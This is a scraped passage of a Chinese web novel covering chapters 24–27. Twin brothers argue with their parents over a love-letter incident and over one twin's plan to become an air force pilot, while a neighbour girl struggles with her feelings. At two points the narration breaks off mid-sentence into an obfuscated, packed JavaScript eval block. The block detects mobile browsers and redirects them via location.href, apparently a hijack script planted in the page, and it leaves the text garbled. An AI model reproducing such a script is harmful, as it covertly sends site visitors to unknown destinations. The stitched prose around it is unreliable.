韩骁心里有点烦。他是不在乎档案里面留一笔,可是他爸妈在乎。而且父亲郑英伟马上要休假回来了,这可不好办。 他心烦气躁地想了几天,见谁都冷着一张脸,大家都以为他是因为要被记过心情不好,见了他都绕着走。连李昊都小心翼翼躲了他几天,不敢找他打球。 过了几天,学校的最终决定终于出来了。班主任是个四十来岁的男老师,性情温和细腻,语重心长地和他谈了整整一节课。韩骁耷拉着脑袋,闷闷不乐地回家。 韩少蓉在医院值班,家里只有郑骐,他正在烧开水准备泡方便面。 “饿不饿,给你泡一包。” 不等韩骁回答,郑骐已经从柜子里拿出一包方便面,又从冰箱拿了两个鸡蛋。 韩骁沉默着吃完面,罕见地主动把碗收进厨房洗干净。见郑骐在房间看书,犹豫着走进他房间,看看这个,摸摸那个,又摆弄了很久书架上的模型飞机。郑骐秉承敌不动我不动的原则,看都不看韩骁一眼,坚决不主动开口。 韩骁终于耐不住了,别别扭扭地坐下:“你找过那小子?” 郑骐放下书,睨着他:“终于肯问了?” “我知道是你找了他,不然那小子不会跟学校说我没打他,是他自己摔的。” 因为傻大个撤销了对韩骁的指控,学校没办法,只得取消了对韩骁的记过处分,改为通报批评。 “我可没让他这么说,我只是告诉他,如果他要没完没了纠缠下去,到时候受伤影响专业课高考就因小失大了。我不追究他的责任。” 韩骁垂下头不语,过了好一会儿才抬起头凝视着郑骐,低声道:“我,是不是很让人失望?” 郑骐放下书,同样认真地看着韩骁:“起码我从来没对你失望过。你只是不知道自己想做什么,过一天算一天。偏偏你还不笨,很多人辛辛苦苦才能得到的东西你不费力就能得到,得到得太容易就不会珍惜。” 韩骁自嘲地笑笑:“不是所有事情努力就能有回报。我只是更早看清楚了这点而已。” “那你知道自己想做什么吗?以后想成为什么样的人?从事什么职业?明年你也高三了,难道从来没想过么?” 韩骁后仰靠在椅背上,懒洋洋地说:“想了就有用吗?如果人想做什么就能做什么,那世界上就没有那么多人痛苦了。我不去想,就不会烦恼。” “你不去想问题也一直在那里,逃避解决不了任何问题,只会让你在需要坚强勇敢的时候反而变得软弱。好好想想吧,你以后想干什么。” “我学习没你好,没那么多选择,考个还行的大学随便读个理工类专业,不丢爸妈的脸就行。” 郑骐看着眼前这张和自己一模一样的脸,一瞬间有些恍惚。如同镜像,他们甚至有很多下意识相同的动作,可是镜子里的人又和他截然不同,他桀骜难驯甚至有点吊儿郎当,而自己,不管做什么都想要做到最好,也会尽力做到最好,早就坚定地知道自己想成为什么样的人,可那真的是自己喜欢的吗?亦或镜子里才是真的他? 不,这就是我要追求的梦想。哪怕历经千辛万苦,也不后悔。郑骐莞尔一笑,甩开脑子里突然冒出来的奇怪想法,把它归咎于双胞胎间的心灵感应。这是属于韩骁的迷惘和挣扎,不是他的。 “你……是不是怪爸妈?”郑骐顿了顿,“从小,爸妈甚至爷爷和姥爷,都对我有更高期待和要求,似乎没怎么要求过你。其实……我很羡慕你。一旦优秀成了习惯,很多事情就由不得自己了,就像走上了一条只能前进不能后退,甚至不能停下的路,只能一直往前走。我有时候特别希望能像你这样随心所欲。” “不被期待当然可以随心所欲。所以我还是继续碌碌无为,你继续当你的榜样楷模,郑家有你一个人光耀门楣就行了。”韩骁站起身,伸了个懒腰:“我要去睡觉了。” 郑骐喊住他:“那天,是你十七年来第一次叫我‘哥’。” 韩骁回身笑了笑:“十分钟你还想占多少便宜?想让我叫你‘哥’可以,下次你去看爷爷,他说要吃川菜。” 郑骐把书朝他扔过去,笑骂:“滚!” 24. 情书 十月底,大半年没回家的郑英伟终于轮到假回家探亲了。 韩少蓉心情很好,虽然她早已经习惯了这种聚少离多、独自扛起家庭责任的日子,可是每次丈夫回家的时候总能让她重拾久违的少女心情,那种殷切盼望和激动等待,是任何人都没办法替代的。更重要的,她并不想总是大喊大叫发脾气,她还记得年轻的时候她是个优雅得体的文艺青年,要不是韩骁这个臭小子,她也不至于变成歇斯底里的中年悍妇。 此时,她泡了一杯速溶咖啡,姿态端庄的坐在餐桌旁,看着韩骁被训得蔫头耷脑,心里竟然有点隐隐的快乐。 “韩骁,你是不是又皮痒了?人家女孩子的家长跑来找你妈,你让你妈面子往哪搁?你说说,你都干了啥?” 时光褪去了郑英伟的粗糙和毛躁,他比年轻的时候显得从容细腻了许多,但是粗声大气、大大咧咧的性子依然没变。回来不过三天,就被韩骁同学的家长找上门,这让他火冒三丈,心里对妻子的愧疚和怜惜也更多了几分,这么多年真是难为她了。 “我没干嘛呀,她给我送情书,我没看就扔了,她自己想不开哭哭啼啼,和我有什么关系?”韩骁耸耸肩,一副不耐烦的模样。 郑骐忍住笑,故作严肃地听着,不时和韩骁眼神交汇一下,给他暗中支持。 郑英伟有点犯难,他还没处理过这种事,只知道对方家长找上门说自己女儿被韩骁欺负了,他听了血液就直往脑门冲,恨不得马上就把韩骁揪过来揍一顿。可他意识到,孩子已经长大了,都开始有感情纠葛了,不能什么事情都用揍一顿来解决。而且,他现在还真不一定揍得过这臭小子。他耐着性子,准备晓之以理,动之以情。 “咳咳,真的?就你这吊儿郎当的样子会有女生给你写情书?”郑英伟瞪着他,竭力让自己看起来凶巴巴的。 “爸,你批评我可以,批评我妈可不行。”韩骁撇撇嘴,露出一个假惺惺的微笑,“人人都说我和郑骐像我妈,你的意思是说我妈丑了?” 郑骐捂住嘴,肩膀一抖一抖的。 韩少蓉听到战火烧到她这边了,柳眉一挑:“这是谁家的闺女,眼光不错呀,知道我儿子帅,着急忙慌地就下手。” 郑英伟对妻子投去一个提醒的眼神,示意她统一战线,别中了韩骁的圈套。 韩少蓉只得抿了一口咖啡,继续旁听。 “咳咳,你妈当然漂亮,年轻的时候可是空军部队一枝花,航医里面就属她最好看,不然我怎么费了九牛二虎之力……” 他的话被韩少蓉打断了:“讲重点讲重点,你跑题了!” 郑骐简直要憋不住了。韩骁忍住笑,故作认真地继续听父亲训话。 “那你也要注意处理问题的方式方法嘛,人家女孩子脸皮薄,你不济找个什么理由拒绝她就完了,干嘛当着人家面把情书给扔了,这不是侮辱人吗?万一那女孩子想不开做傻事你怎么办?这不是没吃肉也惹一身骚吗?” “爸,你也知道惹一身骚啊?我要是不当面绝了她的心,以后没完没了怎么办?我还得配合着保护她可怜的自尊心?我没这么多时间,也没这么好心。再说,都给男生送情书了,这脸皮能薄到哪儿去啊?反正我没错,她要哭让她哭去,正好让她早点学会一课,眼泪对不喜欢你的男人是没用的。” 韩少蓉“扑哧”一声把嘴里的咖啡喷了出来。 郑英伟嘴巴张了合,合了张,哑口无言。韩骁的逻辑无懈可击,他实在找不到什么批评他的理由。 “那你是不是在学校太招摇了?还是你到处撩拨小姑娘了?不然人家怎么不给你哥送,就给你送?”郑英伟急中生智,他必须捍卫他作为父亲的威严。 “呵……”韩骁实在忍不住了,也有点无语,“爸,您的意思是说她喜欢我只是喜欢我的脸?那您当初追我妈也只是因为她漂亮?您的喜欢可真够肤浅的。” 韩少蓉也觉得郑英伟这话听起来怪怪的,瞪着眼等他解释。 “不是,我不是这个意思,我的意思是……你是不是给了人家错误的暗示?不然女孩不是应该更喜欢郑骐这种吗?我年轻的时候女生都喜欢那种稳重内敛的……”郑英伟觉得完全看不懂现在的孩子,韩骁整天跟个混子似的,竟然会有女生喜欢他不喜欢郑骐,不都是一样的脸吗? “我怎么知道呢,可能那个女生就喜欢我这种爱搭不理冷冰冰的个性吧。”韩骁冷着脸语调平平地说出这番话,让今晚的训话场面达到了高潮。 韩少蓉笑得在郑英伟肩上捶了一拳,骂道:“让开让开,说半天说了个什么?” 郑骐连连摆手:“爸,你别扯上我……” 谈话意料之中的不了了之。 许悠然后来听到郑骐说起这段的时候笑得前仰后合:“郑伯伯怎么可能说得过韩骁嘛,他那嘴,简直能毒死一头牛。”嘴上这么说,许悠然却想到了篮球赛那天学校女生谈论韩骁的话。原来韩骁真的挺受女生欢迎的。切,有什么了不起! 郑骐回想起来也觉得好笑:“那女生也是倒霉,惹谁不好惹他,我同情她的遭遇。” 许悠然眨眨眼看他:“那……如果收情书的是你,你怎么办?” 她迫切地想知道郑骐收过多少情书,又是怎么处理那些情书的。 郑骐摊开手,表情有点为难:“我没收过情书你信吗?” 许悠然瞪大眼睛,不敢置信地看着他:“不可能吧!” 郑骐见她一脸愤慨觉得好笑,低下头压低声音:“她们给我送的时候,我就冷冷地说她们认错人了,我是他弟韩骁,她们把我当成韩骁的时候,我就说你们找错了,我是他哥郑骐。” 许悠然一怔,笑得拍手叫绝:“你好狡猾!” 郑骐咳一声,严肃地说:“别告诉韩骁。” 许悠然叉腰故作凶悍:“你得给我封口费。” “你想要什么?” “我还没想好,等我想好了告诉你。”许悠然转身蹦蹦跳跳跑远,空气中还有她清脆的笑声和少女清新的体香。 郑英伟躺在床上翻来覆去,难以入眠。他在反思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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厨房里,许仕明正在炒菜,他做手术是一把好手,做饭也不遑多让,只要他在家,厨房就被他承包了。周亚珍给韩少蓉打电话,可电话一直没人接。明明早就说好了的,怎么会没人接电话呢? “然然,你去楼下看一下,请你干妈他们过来,顺便买一瓶醋,你爸的糖醋排骨没醋了。” 许悠然正在剥蒜,她洗洗手,也不擦干,一边甩着手上的水珠一边蹦跳着下楼,惹得周亚珍在后面直嚷嚷她没有一点淑女风范。 “得了,闺女在家就别拘着她了,在家都不能随心所欲这辈子还能在哪舒服自在?” “你就惯着她吧!以后去了婆家看你还能惯着她!” “哈哈,那就找个能惯着她的婆家呗!”许仕明瞟了妻子一眼,别有深意。 周亚珍努努嘴:“开玩笑说的话能做数吗?” 许仕明一边煎鱼一边自言自语:“做不做数也由不得你我啊。” 许悠然轻车熟路,郑家在一楼,她习惯了象征性敲敲门就长驱直入。可今天,她踌躇着不知道该不该进去,这是她第一次在郑家听到这么激烈的争吵声。干妈没少跟韩骁发脾气,但是今天她的声音听起来除了生气,还有难掩的伤心和失望。 “你现在已经不用跟家长商量就直接做这么重要的决定是吗?你心里还有没有把我们当成你的父母?” 25. 梦想 许悠然静静伫立在门口,听得心惊胆战。 争吵越来越激烈,郑伯伯的声音低沉却清晰。 “少蓉,别发这么大的火,先听听孩子怎么说吧!” “我没发火,我是伤心。做母亲的最后一个知道儿子这么大的事情,我觉得自己很失败。这二十年我是怎么过来的你还不清楚吗?现在好不容易你可以退下来了,他告诉我他要子承父业,他要学你去当英雄,你们父子俩是存了心不让我睡安稳觉是吗?” 许悠然一惊,子承父业?她知道郑伯伯是战斗机飞行员。许多过往的片段突然像珍珠项链一样顺滑地串了起来。 幸好我们国家现在有比这更厉害的飞机了。 他收藏了各种各样的飞机模型。 他书架上摆满了航空领域相关的书。 许悠然急切地想要知道答案和她猜想的是不是一样。她屏住呼吸,竖起耳朵接着听。 “少蓉,话不是这么说。参军报国不是挺好的吗,好男儿保家卫国、志在四方。咱们家本来就是军人世家,他能继承咱家的优良传统有什么不好?” “好?我看不出好在哪里!他要是真想参军我也不反对,陆军不行吗?现在是和平年代,陆军起码能安全等到退伍,他继承什么不好要学你去开飞机?那飞机上天了一旦出事你比我更清楚后果,他是不是你儿子,你就忍心让他去冒这么大的险?这个字,我说什么也不会签!” 韩少蓉脸气得通红,一个人坐在沙发上,扭开头看也不看面前的三个男人一眼。 郑英伟原本就嘴笨,妻子一通反驳他毫无招架之力,只得来软的,坐到妻子身边温言劝道:“空军招飞那要求多严格,后面还有复试、定选,他能不能选上还是问题呢,你就当免费体检,让他去试试,万一不行正好让他死了这条心。” 韩少蓉睨了丈夫一眼,冷笑:“你把我当三岁孩子呢,我要是签了后面通过了还能由得了我?你们父子俩就悄悄把手续给办了吧!” 屋内气氛陷入了冰点。 屋外许悠然手脚发僵,心“扑通扑通”乱跳。 “妈,这是我的梦想。”声音坚定果断,是她无比熟悉的人。 许悠然心上悬着的剑终于落地了,斩断了她最后一丝幻想。 “梦想?从小到大我什么时候阻碍过你的梦想?你参加奥数班、学散打、学画画,哪一样我不支持?可现在你说你要像你爸那样去开战斗机,我没办法支持。” 韩少蓉的声音突然哽咽了。许悠然心一紧,不由自主捏紧了拳头,她担心干妈,也担心郑骐。 “爸、妈,你们不会不知道我从小就喜欢各种各样的飞机。虽然爸老不在家,但在我心里他就是英雄,是我们家的骄傲,没有他们这样的人,就没有国家的强大安定,舍小家为大家,这不是爷爷和姥爷从小教我们的吗?您是军医,经常在医院忙得分身乏术也没有怨言,您也在为国家奉献自己的血汗,为什么不能理解我呢?我不是想当什么英雄,我只是想开飞机。” 郑英伟眼眶发酸,抬起头感慨万千地看着儿子。他从来没想过在儿子心里他有这么重要的意义。他几乎没在孩子的成长中付出过什么,一年在家待的时间不超过两个月,没看到他们迈出人生的第一步,没听到他们说的第一句话,没看到他们一天天长高长大,他以为在这个家里他并没有什么存在感。 韩少蓉一愣,她知道这个儿子其实和韩骁一样能言善辩,只是平时不爱跟人争执。她没想到有一天他的口若悬河是用在自己身上。 她擦擦眼睛,声音低了下去:“你的道理是没错,可是你想过你的母亲吗?这二十年来只要你爸不在家,我从来没有踏实地睡过一个晚上。他去执行任务我要担心他能不能安全下来,他执行完任务我又会想下一个任务什么时候来,一消失就是十天半月,最长的一次他消失了九个月,我甚至都不知道怎么才能找到他。每次突然接到他的电话我都会心慌,直到听到他的声音才能好一点,就像一个永不落地的秤砣,时轻时重,上上下下。现在好不容易他可以不飞了,你告诉我你要去继承这项伟大的事业。是的,我知道这是项伟大的事业,我也为他感到光荣,可是我们家奉献得还不够吗?中国这么大这么多人,就缺一个你吗?” 轻轻的啜泣声从里面传来,许悠然手足无措地站在门外。 她突然发现自己对郑骐一无所知。 她一直沉浸在自己那个小小的世界里,郑骐是她那个小世界里最重要的人,他参与到她生活的方方面面,可是他的那个世界,她却鲜少涉足。 这是她第一次听到他的梦想。一个不管是心理上还是物理上都离她很远的梦想。 “中国是有很多人,但郑骐只有一个。妈,我理解您的担忧,但是如果所有人都这么想,再好的飞机也没有人开,再先进的武器也没有人使用,没有人那都只是一堆废铁……” “你别跟我说这些大道理。别人我管不着,你是我儿子我就得管。”韩少蓉摆摆手制止郑骐继续说下去。 郑骐欲言又止,只得求助般看向父亲。 郑英伟冲他摇摇头,示意暂时先别说了。 郑骐垂下头,手攥得紧紧的。 “咳咳……” 轻轻的咳嗽声打破了屋内令人窒息的沉默。 “妈,你是不是忘了你还有一个儿子?”韩骁扯扯嘴角,笑得痞痞的。 “虽然我没啥存在感,也没郑骐那么优秀,但我好歹是个大活人吧,要不您让他去,我留在家里陪您老,我保证大门不出二门不迈,我给您端茶倒水,鞍前马后地伺候您……以后我再娶个老婆回来一起孝敬您,保证让您舒舒服服地享受皇太后的待遇……” 韩骁蹭到母亲面前,挤眉弄眼地说。 “起开!你气我还气少了?”韩少蓉嫌弃地推他一把,还是忍不住露出了笑容。 “是嘛,气您老人家这事就让我包圆得了,就别气他了,他爱干啥干啥,反正他那么厉害,不管干啥都能干好的,您就别杞人忧天了。咱国家现在多厉害啊,去年航展上那新型战斗机您看了吗?多酷啊,安全着呢,都是经过几年的试飞才投入一线列装的,那不确定因素都排除了,以后只会越来越安全,您就放一百个心……” “真的?”韩少蓉狐疑地看着韩骁,这小子平时根本不看这些东西,现在居然头头是道。 “真的,我也关心我爸呀,当然得了解一下。”韩骁一脸真诚地点点头。 郑英伟心里一热,有点惊喜交加。 郑骐见韩骁手在背后冲他打手势,有些百感交集。他可能在学习上比韩骁努力那么一点儿,所以看起来比韩骁优秀一点儿。但是他比任何人都清楚,韩骁的好,不止那么一点儿。 许悠然抬手擦擦眼角,然后轻快地敲门。 “干妈,饭菜都快冷了,你们还不来!” 有了韩骁的插科打诨,紧张的氛围暂时得到缓解。两家人开开心心聚在一起吃饭,谁也没提刚才的争吵。 “郑骐明年就要高考了,有没有想好读哪个大学呀?”饭桌上周亚珍随口问。 许悠然心里一“咯噔”,真是哪壶不开提哪壶…… 郑骐放下筷子,礼貌地回答:“谢谢周姨关心,这个还是要看高考成绩。” 周亚珍笑道:“你还需要担心这个呀,清北恐怕都任你挑。” “你别夸他,免得他不知天高地厚了,要是能上清北,我做梦都要笑醒。”韩少蓉瞟周亚珍一眼,语气有些得意。 许仕明也跟着凑趣:“咱们大院里还没出过清北呢,到时候许叔送你一个大礼,在院里放烟花放他个三天,让大伙儿都跟着沾沾喜气。以后孩子们都以郑骐为榜样,好好学习天天向上。”许仕明一边说一边睨着女儿,“尤其是这丫头,都高一了还整天只知道玩,也没跟你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149783|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学着长进一点。” 郑骐含蓄微笑:“许叔,您别取笑我了。”又看看坐对面乖乖吃饭的许悠然,“然然其实很聪明的。” “呵——” 不和谐的一声嗤笑打断了合家欢的美好气氛。 “你笑什么?”许悠然瞪着韩骁。 “我笑了吗?”韩骁也不客气地回瞪她。 四个大人面面相觑,接着不约而同地露出无奈表情。 “韩骁,你吃饭安静点,这不都是你喜欢的菜吗,你许叔手艺好,别浪费。”郑英伟怕许悠然小女孩脸皮薄,急忙出来打圆场。 聊天继续。许仕明和郑英伟碰了碰酒杯:“老郑,其实这么多年我可羡慕你了,开飞机那是我的梦想。可惜我眼睛不行,不然我肯定报名。” 许悠然夹排骨的筷子一顿,今天到底是什么日子,怎么父母接二连三地哪壶不开提哪壶…… 郑英伟两杯酒下肚,情绪有些高涨:“老弟,我知道你想开飞机,当初你听说我是飞行员,那眼神恨不得吞了我。” 许仕明被他逗乐了:“我吞你干嘛,你皮糙肉厚的我没那么好的牙口。当不成飞行员当军医也不错,比起握方向盘,我还是握手术刀更稳,术业有专攻嘛。今天好不容易逮着你,快跟我讲讲开飞机到底是怎么一回事,飞上天是什么感觉?” 郑英伟真的开始讲他训练的经历,什么第一次上飞机的时候手发抖、腿发软,每一次上机心里都做好了是最后一次的准备等等。他本身是个乐呵人,边讲边比划,许仕明听得投入,不时附和两句,气氛很融洽。 许悠然心里却一直打鼓,见干妈脸色有些不好,她悄悄蹭到父亲身边,借着给父亲倒酒的机会,偷偷在桌下扯父亲的袖子,想让他换个话题。 “然然,你老扯我袖子干嘛?” “爸,我怕您喝多了,郑伯伯酒量可比您好,您可千万别鸡蛋碰石头。”许悠然故意撒娇。 “你看看。还是养闺女好啊,我这俩小子,没一个关心我死活的,还是女儿好,知道心疼爹妈。然然,别只惦记你爸,也关心关心郑伯伯。” “爸,我这不是认真听您吹牛吗?可不兴一人打两份工,周扒皮都没你这么狠。”韩骁没好气地瞟了许悠然一眼。 周亚珍似乎察觉到了什么,招呼韩少蓉去看电视,又作势瞪了丈夫一眼:“少喝点,你明天下午还有手术。” 只有郑骐,默不做声地认真听父亲讲那些明明惊心动魄,却被他一笑了之的事情。 直到许仕明和郑英伟都喝得有点大舌头了,这场家宴才曲终人散。 许悠然帮忙把父亲安顿好,然后帮母亲收拾碗筷。 “真的?难怪我看你干妈今天脸色不对。”周亚珍恍然大悟。 “妈,开飞机真的那么危险?”许悠然只知道郑伯伯开了二十年飞机,每次他都平安回家了,她对飞行员要面对的压力和危险只存在于遥远的想象中。 “那当然,飞上天出了什么事只有自己扛,地面的人帮不了你。一旦坠毁几乎没有生还可能,你郑伯伯的战友就有几个牺牲了,只是你们当年还太小,没告诉你们。中国的空军,就是一代代飞行员用生命飞出来的,谁也不知道什么时候会轮到谁。你干妈本来是航医,亲身经历过飞行员失事,后来和你郑伯伯结婚才转到医院的。这些年她承受了很大的压力,现在你郑伯伯终于可以退下来了,她也可以解脱了。要是郑骐真的选上了,她又要担惊受怕了,没有哪个母亲舍得让孩子冒这样的险。” 许悠然心里沉甸甸的。她感到很矛盾,今天她没机会和郑骐单独说话,就算有,她也不知道该跟他说什么。 支持他吗?她应当支持他的,那是他的梦想。 可是那无法预知的危险,也是她难以承受的。她很想支持他,可是又舍不得让他置身于那样的压力下。 许悠然翻来覆去,一夜未眠。 26. 追寻 大院里种了几棵银杏树,还泛着浅浅的绿色,要不了多久就会全部变成好看的金黄色,当阳光扫过的时候会透着金灿灿的光,就像一把把镶嵌着金边的小扇子,远看去又像神话故事里的仙树,树下还应该坐着一位漂亮的仙女,她微蹙着眉,在理智和感情间挣扎,在违反天规戒律和追求自由间摇摆不定。 可惜现在是夜晚,微弱的路灯从树顶射下一片昏黄的灯光,只能看见树下零星散落着些被秋风眷恋的银杏叶。许悠然最喜欢在深秋的时候到这几棵银杏树下捡银杏叶,她会仔细挑出那些形状完整漂亮的,小心翼翼擦拭干净,夹在她喜欢的书里面做成银杏标本。 她憾然地抬头看了看,还没到银杏完全变黄的时候,就像她还不能完全说服自己支持郑骐。 郑骐也抬头看了看银杏树,一片银杏叶似乎受到感召,轻轻从空中飘了下来。郑骐伸手接住,是一片已经黄了的叶子,形状规整,还没有遭到人类脚步的践踏。经络清晰,饱含水分,落在手心里湿润柔软。 他把手伸向许悠然。许悠然伸出拇指和食指,轻轻捏住根茎,小扇子在夜色里褪去了白天的金光闪闪,显得朴实可爱。 “你……” “我……” 两人异口同声,又不约而同顿住。 “你先说。” “你先说。” 两人相视一笑,心里都泛起了一丝涟漪,为这习以为常的默契。 “你为什么不早点告诉我?” “我应该早点告诉你。” 郑骐伸出手,习惯性地想要摸摸许悠然的头,可手悬在半空,还是缩了回去。 他收回手交握,微微躬下身子,看着地上的落叶。“我应该早点告诉你的,不是想瞒着你,是准备过了复试再告诉你。毕竟现在只过了初选,后面变数很大。” “等你过了复试,过了定选,要走了再告诉我吗?” 许悠然语气生硬,心里是有点生气的,气他对自己的不信任。如果她有什么重大的人生决定,一定会第一个告诉他。 “那倒不会,我肯定会走之前就告诉你。”郑骐笑着,眼睛像亮晶晶的星星。 “你是觉得我不会支持你吗?还是我根本不值得信任?我以为……以为你会第一个告诉我。” 许悠然垂下头,抠着手指。 “然然,我当然信任你。其实……其实我以为你早就知道了。” “我知道你喜欢飞机,可是我以为你只是受郑伯伯影响,我没想过你会真的想去当飞行员,毕竟……毕竟那很危险。而且干妈说一旦执行任务,就会长期失联。如果你真的去了,我怎么找你呢?再说如果韩骁欺负我,谁帮我撑腰?我有不会做的题目问谁呢……” 许悠然的声音越来越低,几乎变成了喃喃自语。想到这些,她有种即将失去他的委屈和恐惧。 十六年的人生里,她从来没有这样慌乱和害怕过。哪怕她追不上他的成绩,但她可以报考他所在城市的大学,他去哪她就去哪,这并不是遥不可及的。可现在,他直接推翻了她所有的希冀,他要去的地方,她根本去不了。 “傻瓜,部队又不是外星球,我爸这么多年还不是照样能回家。不过执行任务那就没办法了,军队有军队的纪律,服从是军人的天职。不会做的题目,可以问韩骁啊,他辅导你应该还是没问题的吧。”郑骐好笑地看着许悠然,觉得她简直傻得有点可爱,担心的居然是不会做的题目没人辅导这种问题。 “我才不要他辅导,他肯定会说我笨。”许悠然心里真正想的不敢说出口。 我只想要你在我身边,辅导作业也好,干什么别的也好,如果你走了,我会很担心你,会很想你。 但她只敢在心里说,她一边鄙视自己的胆怯一边埋怨郑骐的过于优秀,如果他没选上就好了。可是,那是他的梦想,他会伤心失望的吧。 “然然,你有梦想吗?”郑骐收起笑容,认真地看着许悠然。 许悠然转过头,凝视着他的眼睛:“梦想?” 郑骐点点头:“对,梦想,成为空军飞行员就是我的梦想。从我记事起,我就常常想,为什么我爸不能像别人的爸爸那样每天在家里,陪我们踢足球,带我们玩。等我长大点了我才知道,他离开家就是为了更多的人能每天回家。就算不是我的爸爸,也会是别人的爸爸。那我宁愿是我的爸爸,起码我能骄傲地说‘我的爸爸是个英雄!’,呵呵,其实我也很肤浅,也喜欢当英雄被人崇拜,而且,驾驶飞机翱翔在天空一定很自由,那种高远辽阔是任何事情都无法取代的。” 许悠然认真想了想,不得不承认,她没有梦想。 她从小无忧无虑,虽然母亲管得严一些,但是父亲宠她,母亲也常常拿她没办法。十六年来,她最大的烦恼也不过是中考,现在这个难题也不存在了。如果非要说她有什么梦想,那就像袁文君说的那样,她想嫁给郑骐。 可是,这是能说的吗? 许悠然捂住发热的脸,支支吾吾:“我……我没有梦想。” 郑骐被她的样子逗笑,柔声道:“你会找到你的梦想的。我们都会实现我们的梦想。” 郑骐又给她讲了许多飞行员的训练内容,什么离心机、旋梯、滚轮……许悠然听都没听过,郑骐侃侃而谈,显然已经做了很多功课。 许悠然看着他自信怡然的模样,渐渐被打动了。她认真听着,努力做他最忠实的听众。听到那些不懂的词汇就提出自己的疑惑,他会很耐心地给她讲解,说到难以解释清楚的,他还会站起来给她演示。 郑骐永远是笃定从容的,这样快乐兴奋的他,是许悠然从来没见过的。这就是梦想的力量吗?许悠然看着他认真比划什么是大迎角,眼眶有些微微的湿润。她喜欢从容稳重的他,但是这个快乐的他,才是她最想要的。 银杏树静静伫立着,见证着这个平凡而宁静的夜晚。此后有许多许多个孤独的夜,许悠然都是在反复回味这个靠近他梦想的时刻中度过的。 接下来的几天,许悠然都在思考一件事。她的梦想到底是什么?除了那个难以言说的梦想,难道她就真的没有别的可以为之努力奋斗的梦想吗? 袁文君戳戳她微皱的眉 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韩少蓉坚定地要打赢这场持久战,她决定来个“拖”字诀,拖到截止日期过了,父子俩就没办法了。她索性避而不见,躲在医院值班不回家。 周亚珍看她在办公室睡了几天,整个人无精打采,揶揄道:“我提醒你,不是二三十岁的小姑娘了,每天睡沙发皱纹都睡出来了,你看看你,这才几天功夫,脸都垮了,皮肤也干了。” “真的?”韩少蓉马上拿起镜子端详自己的脸。不说不觉得,被周亚珍这么一说,她感觉自己的脸好像真的松垮了很多,皮肤也干得快起皮。 “回家敷个面膜就好啦,跟自己儿子较什么劲!我告诉你一句话,儿大不由娘,这天下就没有能拗得过子女的父母。” “你是站着说话不腰疼。要是哪天轮到然然,我看你还能不能这么轻松!”韩少蓉白她一眼,强撑着嘴硬。 她怎么会不知道呢?当初她也是瞒着父母报了军医大学,然后顶着父母的压力嫁给了飞行员。只有当了父母,才知道自己的父母有多不容易。她怎么会是怕自己睡不了安稳觉呢,她怎么会不知道飞行员训练有多苦呢,儿子是她的骨血孕育出来的,她不舍得他去吃这样的苦,冒这样的险。她不求他们功成名就,扬名立万,只求他们一生平安顺遂,健康喜乐。 只要再撑过两天,就过了截止日期。韩少蓉冲周亚珍撇撇嘴:“你明天帮我带一张面膜来吧。” 周亚珍看她倔强的表情和年轻时毫无二致,忍不住摇头失笑。 “我看郑骐这性子,完全和你一模一样,认定了的事情八匹马也拉不回来。你记不记得当年你为了嫁给郑英伟还绝食了几天?” “有这回事?我不记得……”韩少蓉看天,分明不想承认自己不堪回首的往事。 周亚珍哈哈笑着下班回家,说好明天给她带面膜。 可韩少蓉的如意算盘还是被打破了,她刚敷完面膜,准备睡个囫囵觉起来值后半夜班,小护士走进来告诉她,有人找她。 27. 凌云 老军医从来不到孩子的工作场所打扰他们工作,老一辈人信仰纯粹,对组织忠诚了一辈子,不肯做一点点损害军人形象的事情。这是多年来头一次,他到女儿的单位找她。 “爸,你怎么来了?是不是哪里不舒服?”韩少蓉快步上前搀住父亲。 “我还没老得要人扶。”韩老爷子甩甩胳膊,四处打量一番,见女儿已经在沙发上铺好了一块毯子,皱着眉指着沙发:“你这几天就睡这?” 韩少蓉别开脸,含糊“嗯”了一声。 韩老爷子在椅子上坐下,韩少蓉立在他跟前,已经猜到了他的来意。 “少蓉,你妈走得早,当年她多想看一眼自己的孙子,可还是没能熬住。”韩老爷子声音有些沙哑,他中年丧妻,早已经习惯了独自生活,这些年也有人想给他介绍个老伴儿,都被他毫不留情地回绝了。 “怎么突然提起我妈了?”韩少蓉泡了一杯茶放到父亲手边。 “我总觉得你还是个小姑娘,时间一晃连你的儿子都这么大了,真是岁月不饶人。”韩老爷子抿一口茶,继续絮叨,“当年你才十八岁,吵着闹着要报考军医大学,我和你妈都不同意。我们吃过的苦不想让孩子继续吃,可是你聪明有主见,瞒着我们自己就把志愿表交上去了。等我们知道也来不及了。你妈为这事怄了好多天,说女儿大了管不了了。” 韩少蓉有些不自在:“都过去好久了……” 韩老爷子不理她,继续自顾自说着:“后来你好不容易熬过来了,又看上了当飞行员的毛头小子。英伟是个好人,可是飞行员多危险啊,你爸我是上过战场的,陆军哪怕腿打掉了,我们都能救,大不了割了切了,可是飞机坠机了怎么救?我跟你妈又被你气得连续几天没睡着。你那会儿年轻,不理解我们,还闹绝食,最后你妈还是依了你,可是直到她阖上眼,心都没彻底放下来过。” “爸,我……”韩少蓉也哽咽了。母亲走得早,在她结婚没多久就因病去了,是不是因为太过操心才导致突发心脏病呢? 韩老爷子抹了把眼睛,接着说:“俗话说,养儿一百岁,长忧九十九。我今天跟你说这些不是翻旧账,只是想告诉你,你现在对孩子的心我都知道都理解,可是儿孙自有儿孙福,你拦得了一次拦得了一世吗?这次是这个,下次是别的,他不能总在你的羽翼下待着呀,总要自己去经历风霜雨雪、电闪雷鸣啊,做父母的只能陪他们一程,把他们好好地养大,剩下的路看着他自己走,走累了给他打打气加加油,但不能一直陪他走。” 